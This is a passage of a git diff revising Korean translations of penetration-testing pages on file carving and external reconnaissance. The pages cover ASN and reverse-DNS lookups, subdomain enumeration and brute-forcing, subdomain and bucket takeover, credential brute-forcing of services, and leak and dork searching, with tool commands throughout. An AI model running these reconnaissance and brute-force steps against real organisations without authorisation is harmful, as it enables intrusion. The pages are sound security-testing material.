종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다. ### Binwalk @@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -또 다른 일반적인 도구는 **foremost**입니다. foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석을 제거하면 됩니다. 아무것도 주석을 제거하지 않으면 foremost는 기본 구성된 파일 유형을 검색합니다. +또 다른 일반적인 도구는 **foremost**입니다. foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석을 제거하면 됩니다. 아무것도 주석을 제거하지 않으면 foremost는 기본적으로 구성된 파일 유형을 검색합니다. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -40,17 +40,17 @@ scalpel file.img -o output 이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) -이 도구는 이미지를 스캔하고 그 안에서 **pcap**을 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은: +이 도구는 이미지를 스캔하고 **pcaps**를 추출하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은: ``` bulk_extractor memory.img -o out_folder ``` -모든 정보를 탐색하세요(비밀번호?), 패킷을 분석하세요(읽기[ **Pcaps analysis**](../pcap-inspection/)), 이상한 도메인을 검색하세요(악성코드 또는 존재하지 않는 도메인과 관련된 도메인). +모든 정보를 탐색하세요(비밀번호?), 패킷을 분석하세요(읽기[ **Pcaps analysis**](../pcap-inspection/index.html)), 이상한 도메인을 검색하세요(악성코드 또는 존재하지 않는 도메인과 관련된 도메인). ### PhotoRec [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)에서 찾을 수 있습니다. -GUI 및 CLI 버전이 함께 제공됩니다. PhotoRec이 검색할 **파일 유형**을 선택할 수 있습니다. +GUI 및 CLI 버전이 제공됩니다. PhotoRec이 검색할 **파일 유형**을 선택할 수 있습니다. ![](<../../../images/image (242).png>) @@ -61,10 +61,10 @@ GUI 및 CLI 버전이 함께 제공됩니다. PhotoRec이 검색할 **파일 유 #### BinVis의 기능 - 시각적이고 능동적인 **구조 뷰어** -- 다양한 초점에 대한 여러 플롯 +- 다양한 초점 포인트에 대한 여러 플롯 - 샘플의 일부에 집중 - PE 또는 ELF 실행 파일에서 **문자열 및 리소스 보기** -- 파일에 대한 암호 분석을 위한 **패턴** 얻기 +- 파일에 대한 암호 분석 패턴 얻기 - 패커 또는 인코더 알고리즘 **찾기** - 패턴으로 스테가노그래피 **식별** - **시각적** 바이너리 차이 비교 diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index 0b7acab79..349162c2f 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -17,18 +17,18 @@ 우선, **모회사가 소유한 다른 회사**를 알아야 합니다.\ 한 가지 옵션은 [https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **모회사**를 **검색**하고 "**인수**"를 **클릭**하는 것입니다. 거기에서 모회사가 인수한 다른 회사를 볼 수 있습니다.\ -또 다른 옵션은 모회사의 **위키백과** 페이지를 방문하여 **인수**를 검색하는 것입니다. +다른 옵션은 모회사의 **위키백과** 페이지를 방문하여 **인수**를 검색하는 것입니다. > 좋습니다. 이 시점에서 범위 내의 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다. -### **ASNs** +### **ASN** 자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 관리 기관(IANA)**에 의해 **자율 시스템**(AS)에 할당된 **고유 번호**입니다.\ **AS**는 외부 네트워크에 접근하기 위한 명확하게 정의된 정책을 가진 **IP 주소**의 **블록**으로 구성되며, 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다. 회사가 **할당된 ASN**이 있는지 확인하여 **IP 범위**를 찾는 것이 흥미롭습니다. **범위** 내의 모든 **호스트**에 대해 **취약성 테스트**를 수행하고 이 IP 내의 **도메인**을 찾아보는 것이 좋습니다.\ [**https://bgp.he.net/**](https://bgp.he.net)에서 회사 **이름**, **IP** 또는 **도메인**으로 **검색**할 수 있습니다.\ -**회사의 지역에 따라 이 링크는 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/) **(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(라틴 아메리카),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 어쨌든, 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**는 이미 첫 번째 링크에 나타납니다. +**회사의 지역에 따라 이 링크는 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/) **(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(라틴 아메리카),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 어쨌든 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**는 첫 번째 링크에 이미 나타납니다. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla @@ -56,21 +56,21 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4 ### **취약점 찾기** -At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ -Also, you could launch some [**port scans**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ -**또한, 기본 사용자 이름** 및 **비밀번호 목록을 준비하고** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) **로 서비스를 브루트포스 시도하는 것도 가치가 있을 수 있습니다.** +이 시점에서 우리는 **범위 내 모든 자산**을 알고 있으므로, 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다.\ +또한, [**포트 스캔**](../pentesting-network/index.html#discovering-hosts-from-the-outside)을 실행하거나 shodan **과 같은 서비스를 사용하여** 열린 포트를 찾고, 발견한 내용에 따라 이 책을 참고하여 여러 가능한 서비스에 대한 펜테스트 방법을 살펴봐야 합니다.\ +**또한, 기본 사용자 이름과** 비밀번호 **목록을 준비하고** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)로 서비스를 브루트포스 시도하는 것도 가치가 있을 수 있습니다. ## 도메인 -> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. +> 우리는 범위 내 모든 회사와 그 자산을 알고 있으며, 이제 범위 내 도메인을 찾을 시간입니다. _다음에 제안된 기술을 사용하면 서브도메인도 찾을 수 있으며, 그 정보는 과소평가해서는 안 됩니다._ -First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. +먼저 각 회사의 **주 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다. ### **역 DNS** -As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) +도메인의 모든 IP 범위를 찾았으므로, **범위 내 더 많은 도메인을 찾기 위해 해당 IP에 대해 역 DNS 조회를 수행할 수 있습니다**. 피해자의 DNS 서버나 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해 보세요. ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -141,16 +141,16 @@ return fhash ``` ### **Copyright / Uniq string** -웹 페이지 내에서 **같은 조직의 서로 다른 웹에서 공유될 수 있는 문자열**을 검색합니다. **저작권 문자열**이 좋은 예가 될 수 있습니다. 그런 다음 **google**, 다른 **브라우저** 또는 **shodan**에서 해당 문자열을 검색합니다: `shodan search http.html:"Copyright string"` +웹 페이지 내에서 **같은 조직의 서로 다른 웹에서 공유될 수 있는 문자열**을 검색합니다. **저작권 문자열**이 좋은 예가 될 수 있습니다. 그런 다음 **구글**, 다른 **브라우저** 또는 **shodan**에서 해당 문자열을 검색합니다: `shodan search http.html:"Copyright string"` ### **CRT Time** -일반적으로 다음과 같은 크론 작업이 있습니다. +크론 작업이 있는 것이 일반적입니다. ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` -서버에서 모든 도메인 인증서를 갱신합니다. 이는 CA가 생성된 시간을 유효성 시간에 설정하지 않더라도 **인증서 투명성 로그에서 동일한 회사에 속하는 도메인을 찾는 것이 가능하다는 것을 의미합니다**.\ +서버에서 모든 도메인 인증서를 갱신합니다. 이는 CA가 유효성 기간에 생성 시간을 설정하지 않더라도 **인증서 투명성 로그에서 동일한 회사에 속하는 도메인을 찾는 것이 가능하다는 것을 의미합니다**.\ 자세한 내용은 [**이 글**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)을 확인하세요. ### Mail DMARC 정보 @@ -159,9 +159,9 @@ return fhash ### **수동 인수** -사람들이 클라우드 제공업체에 속하는 IP에 서브도메인을 할당하고 어느 시점에서 **그 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊는 것이 일반적입니다**. 따라서 클라우드에서 **VM을 생성하는 것만으로도** 실제로 **일부 서브도메인을 인수하게 됩니다**. +사람들이 클라우드 제공업체에 속하는 IP에 서브도메인을 할당하고 어느 시점에서 **그 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊는 것이 일반적입니다**. 따라서 클라우드(예: Digital Ocean)에서 **VM을 생성하는 것만으로도** 실제로 **일부 서브도메인을 인수하게 됩니다**. -[**이 게시물**](https://kmsec.uk/blog/passive-takeover/)은 이에 대한 이야기를 설명하고 **DigitalOcean에서 VM을 생성하고**, **새 머신의 IPv4를 가져오고**, **Virustotal에서 해당 서브도메인 레코드를 검색하는** 스크립트를 제안합니다. +[**이 게시물**](https://kmsec.uk/blog/passive-takeover/)은 이에 대한 이야기를 설명하고 **DigitalOcean에서 VM을 생성하고**, **새 머신의 IPv4를 가져오고**, **Virustotal에서 서브도메인 레코드를 검색하는** 스크립트를 제안합니다. ### **기타 방법** @@ -171,7 +171,7 @@ return fhash IP 공간을 소유한 조직의 이름을 이미 알고 있으므로, `org:"Tesla, Inc."`를 사용하여 shodan에서 해당 데이터를 검색할 수 있습니다. TLS 인증서에서 새로운 예기치 않은 도메인을 찾기 위해 발견된 호스트를 확인하세요. -주 웹 페이지의 **TLS 인증서**에 접근하여 **조직 이름**을 얻고, 그런 다음 **shodan**에서 알려진 모든 웹 페이지의 **TLS 인증서** 내에서 해당 이름을 검색할 수 있습니다. 필터: `ssl:"Tesla Motors"`를 사용하거나 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch)와 같은 도구를 사용할 수 있습니다. +주요 웹 페이지의 **TLS 인증서**에 접근하여 **조직 이름**을 얻고, 그런 다음 **shodan**에서 알려진 모든 웹 페이지의 **TLS 인증서** 내에서 해당 이름을 검색할 수 있습니다. 필터: `ssl:"Tesla Motors"`를 사용하거나 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch)와 같은 도구를 사용할 수 있습니다. **Assetfinder** @@ -250,7 +250,7 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -다른 흥미로운 도구/API가 있으며, 이들은 서브도메인을 찾는 데 직접적으로 특화되어 있지 않더라도 서브도메인을 찾는 데 유용할 수 있습니다. 예를 들어: +다른 흥미로운 도구/API가 있습니다. 이 도구들은 서브도메인을 찾는 데 직접적으로 특화되어 있지 않더라도 유용할 수 있습니다. 예를 들어: - [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io)를 사용하여 서브도메인을 얻습니다. ```bash @@ -317,7 +317,7 @@ python3 DomainTrail.py -d example.com 이 프로젝트는 **버그 바운티 프로그램과 관련된 모든 서브도메인**을 무료로 제공합니다. 이 데이터는 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하여 접근할 수 있으며, 이 프로젝트에서 사용된 범위에 접근할 수도 있습니다 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list). -여기에서 이러한 도구들의 **비교**를 찾을 수 있습니다: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +이 도구들에 대한 **비교**는 여기에서 확인할 수 있습니다: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) ### **DNS 브루트 포스** @@ -331,7 +331,7 @@ python3 DomainTrail.py -d example.com - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -또한 좋은 DNS 해석기의 IP도 필요합니다. 신뢰할 수 있는 DNS 해석기 목록을 생성하기 위해 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 해석기를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는 다음을 사용할 수 있습니다: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt). +또한 좋은 DNS 해석기의 IP도 필요합니다. 신뢰할 수 있는 DNS 해석기 목록을 생성하기 위해 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 해석기를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는 [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)를 사용할 수도 있습니다. DNS 브루트 포스에 가장 추천되는 도구는: @@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns)는 `massdns`를 감싸는 Go로 작성된 도구로, 활성 브루트포스를 사용하여 유효한 서브도메인을 열거하고, 와일드카드 처리를 통해 서브도메인을 해결하며, 간편한 입력-출력 지원을 제공합니다. +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns)는 `massdns`를 감싸는 도구로, Go로 작성되었으며, 능동적인 브루트포스를 사용하여 유효한 서브도메인을 열거하고, 와일드카드 처리를 통해 서브도메인을 해결하며, 간편한 입력-출력 지원을 제공합니다. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -366,7 +366,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com cat subdomains.txt | dnsgen - ``` - [**goaltdns**](https://github.com/subfinder/goaltdns): 도메인과 서브도메인을 기반으로 순열을 생성합니다. -- **wordlist**의 goaltdns 순열은 [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 확인할 수 있습니다. +- [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 goaltdns 순열 **단어 목록**을 얻을 수 있습니다. ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` @@ -385,7 +385,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` -- [**alterx**](https://github.com/projectdiscovery/alterx)**:** 도메인을 기반으로 **지정된 패턴**에 따라 새로운 잠재적 서브도메인 이름을 **생성하여** 더 많은 서브도메인을 발견하려고 합니다. +- [**alterx**](https://github.com/projectdiscovery/alterx)**:** 주어진 도메인을 기반으로 **지정된 패턴에 따라 새로운 잠재적 서브도메인 이름을 생성**하여 더 많은 서브도메인을 발견하려고 시도합니다. #### 스마트 순열 생성 @@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_는 매우 간단하지만 효과적인 DNS 응답 유도 알고리즘과 결합된 서브도메인 브루트포스 퍼저입니다. 이는 맞춤형 단어 목록이나 역사적 DNS/TLS 기록과 같은 제공된 입력 데이터를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중 수집된 정보를 기반으로 이를 반복적으로 확장합니다. +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_는 매우 간단하지만 효과적인 DNS 응답 유도 알고리즘과 결합된 서브도메인 브루트포스 퍼저입니다. 이는 맞춤형 단어 목록이나 역사적인 DNS/TLS 기록과 같은 제공된 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중에 수집된 정보를 기반으로 이를 반복적으로 확장합니다. ``` echo www | subzuf facebook.com ``` @@ -440,23 +440,23 @@ VHostScan -t example.com ### **CORS Brute Force** -때때로 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때만 _**Access-Control-Allow-Origin**_ 헤더를 반환하는 페이지를 찾을 수 있습니다. 이러한 시나리오에서는 이 동작을 악용하여 **새로운** **서브도메인**을 **발견**할 수 있습니다. +때때로 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때만 _**Access-Control-Allow-Origin**_ 헤더를 반환하는 페이지를 발견할 수 있습니다. 이러한 시나리오에서는 이 동작을 악용하여 **새로운** **서브도메인**을 **발견**할 수 있습니다. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` ### **버킷 무차별 대입** -**서브도메인**을 찾는 동안 **버킷**으로 **포인팅**되는지 주의하세요. 그런 경우 [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -또한, 이 시점에서 범위 내의 모든 도메인을 알게 되었으므로 [**가능한 버킷 이름을 무차별 대입하고 권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/). +**서브도메인**을 찾는 동안 **버킷**으로 **포인팅**되는지 주의 깊게 살펴보세요. 그런 경우 [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\ +또한, 이 시점에서 범위 내의 모든 도메인을 알게 되었으므로 [**가능한 버킷 이름을 무차별 대입하고 권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/index.html). ### **모니터링** -도메인의 **새 서브도메인**이 생성되는지 [**Certificate Transparency** 로그를 모니터링하여 확인할 수 있습니다.](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) +도메인의 **새 서브도메인**이 생성되는지 **Certificate Transparency** 로그를 모니터링하여 확인할 수 있습니다. [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)가 이를 수행합니다. ### **취약점 찾기** 가능한 [**서브도메인 탈취**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)를 확인하세요.\ -**서브도메인**이 어떤 **S3 버킷**으로 **포인팅**되고 있다면, [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/). +**서브도메인**이 어떤 **S3 버킷**으로 **포인팅**되고 있다면, [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/index.html). 자산 탐색에서 이미 발견한 것과 다른 **IP를 가진 서브도메인**을 발견하면, **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용)과 **포트 스캔**(nmap/masscan/shodan 사용)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 "공격"할 수 있는 몇 가지 요령을 찾을 수 있습니다**.\ &#xNAN;_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ @@ -476,18 +476,18 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: **CDN에 속하지 않는 모든 IP에 대해 포트 스캔을 수행하세요**(여기서는 흥미로운 것을 찾지 못할 가능성이 높습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있을지도 모릅니다**. -**호스트 스캔 방법에 대한** [**가이드를 찾으세요**](../pentesting-network/)**.** +**호스트 스캔 방법에 대한** [**가이드를 찾으세요**](../pentesting-network/index.html). -## 웹 서버 탐색 +## 웹 서버 사냥 > 우리는 모든 회사와 그 자산을 찾았고, 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 검색할 시간입니다. -이전 단계에서 이미 발견된 **IP 및 도메인에 대한 일부 재조사를 수행했을 가능성이 높으므로**, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 **웹 서버를 검색하는 몇 가지 빠른 요령을 살펴보겠습니다**. +이전 단계에서 **발견된 IP와 도메인에 대한 일부 재콘을 수행했을 가능성이 높으므로**, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 웹 서버를 검색하기 위한 **빠른 요령**을 살펴보겠습니다. -이것은 **웹 앱 발견**을 위한 **지침**이므로, **취약점** 및 **포트 스캔**도 수행해야 합니다(**범위에서 허용되는 경우**). +이것은 **웹 앱 발견**을 위한 **지향적**이므로, **취약점** 및 **포트 스캔**도 수행해야 합니다(**범위에서 허용되는 경우**). -**웹** 서버와 관련된 **열려 있는 포트를 발견하는 빠른 방법**은 [**masscan**를 사용하는 것입니다.](../pentesting-network/index.html#http-port-discovery)\ -웹 서버를 찾기 위한 또 다른 유용한 도구는 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)입니다. 도메인 목록을 전달하면 포트 80 (http) 및 443 (https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지정할 수 있습니다: +[**masscan**을 사용하여 **웹** 서버와 관련된 **열려 있는 포트를 발견하는 빠른 방법**은 여기에서 찾을 수 있습니다](../pentesting-network/index.html#http-port-discovery).\ +웹 서버를 찾기 위한 또 다른 유용한 도구는 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)입니다. 도메인 목록을 전달하면 포트 80(HTTP) 및 443(HTTPS)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지정할 수 있습니다: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 @@ -510,11 +510,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -그런 다음, 이러한 단어로 **순열**을 생성해야 합니다 (자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](#second-dns-bruteforce-round)를 확인하세요). +그런 다음, 이러한 단어로 **순열**을 생성해야 합니다 (자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](#second-dns-bruteforce-round)를 참조하세요). 결과로 얻은 단어 목록을 사용하여 [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **또는** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.** -클라우드 자산을 찾을 때는 **AWS의 버킷 이상으로 더 많은 것을 찾아야 한다는 점을 기억하세요**. +클라우드 자산을 찾을 때는 **AWS의 버킷 이상으로 찾아야 한다는 점을 기억하세요**. ### **취약점 찾기** @@ -522,7 +522,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## 이메일 -범위 내의 **도메인**과 **서브도메인**을 통해 **이메일 검색을 시작할 수 있는 모든 것**을 갖추게 됩니다. 다음은 회사의 이메일을 찾는 데 가장 효과적이었던 **API**와 **도구**입니다: +**범위 내의 도메인**과 **서브도메인**을 통해 **이메일 검색을 시작할 수 있는 모든 것**을 갖추게 됩니다. 다음은 회사의 이메일을 찾는 데 가장 효과적이었던 **API**와 **도구**입니다: - [**theHarvester**](https://github.com/laramies/theHarvester) - API 사용 - [**https://hunter.io/**](https://hunter.io/)의 API (무료 버전) @@ -550,8 +550,8 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### 깃허브 유출 -자격 증명 및 API는 **회사의 공개 리포지토리** 또는 해당 깃허브 회사에서 일하는 **사용자**의 공개 리포지토리에서 유출될 수 있습니다.\ -**Leakos**라는 **도구**를 사용하여 **조직**과 그 **개발자**의 모든 **공개 리포**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다. +자격 증명 및 API는 **회사의 공개 리포지토리** 또는 해당 깃허브 회사에서 일하는 **사용자**의 공개 리포지토리에 유출될 수 있습니다.\ +**Leakos**라는 **도구**를 사용하여 **조직** 및 그 **개발자**의 모든 **공개 리포**를 **다운로드**하고, [**gitleaks**](https://github.com/zricethezav/gitleaks)를 자동으로 실행할 수 있습니다. **Leakos**는 또한 제공된 **URL**에 대해 **gitleaks**를 실행하는 데 사용할 수 있으며, 때때로 **웹 페이지에도 비밀이 포함되어 있습니다**. @@ -565,14 +565,14 @@ github-leaked-secrets.md ### Paste 유출 -때때로 공격자나 단순한 직원이 **회사 콘텐츠를 paste 사이트에 게시**합니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색할 가치가 있습니다.\ +때때로 공격자나 단순한 직원이 **회사 콘텐츠를 paste 사이트에 게시**할 수 있습니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색할 가치가 있습니다.\ [**Pastos**](https://github.com/carlospolop/Pastos)라는 도구를 사용하여 동시에 80개 이상의 paste 사이트에서 검색할 수 있습니다. ### 구글 도크 오래되었지만 여전히 유용한 구글 도크는 **거기에 있어서는 안 되는 노출된 정보를 찾는 데 항상 유용합니다**. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 **도구를 사용하여 모두 실행할 수 있습니다**. -_정기적인 Google 브라우저를 사용하여 데이터베이스를 모두 실행하려는 도구는 매우 빨리 차단될 것이므로 결코 끝나지 않을 것입니다._ +_정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 실행하려는 도구는 매우 빨리 Google에 의해 차단되므로 결코 끝나지 않을 것입니다._ ### **취약점 찾기** @@ -580,7 +580,7 @@ _정기적인 Google 브라우저를 사용하여 데이터베이스를 모두 ## 공개 코드 취약점 -회사가 **오픈 소스 코드**를 가지고 있다면 이를 **분석**하고 **취약점**을 검색할 수 있습니다. +회사가 **오픈 소스 코드**를 가지고 있다면, 이를 **분석**하고 **취약점**을 검색할 수 있습니다. **언어에 따라** 사용할 수 있는 다양한 **도구**가 있습니다: @@ -592,11 +592,11 @@ _정기적인 Google 브라우저를 사용하여 데이터베이스를 모두 - [**Snyk**](https://app.snyk.io/) -## [**웹 펜테스팅 방법론**](../../network-services-pentesting/pentesting-web/) +## [**웹 펜테스팅 방법론**](../../network-services-pentesting/pentesting-web/index.html) -**버그 헌터**가 발견한 **대부분의 취약점**은 **웹 애플리케이션** 내에 존재하므로, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 싶습니다. [**여기에서 이 정보를 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/). +**버그 헌터**가 발견한 **대부분의 취약점**은 **웹 애플리케이션** 내에 존재하므로, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 싶습니다. [**여기에서 이 정보를 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/index.html). -또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾을 것으로 기대하지 말아야 하지만, **초기 웹 정보를 얻기 위한 워크플로우에 유용합니다**. +또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 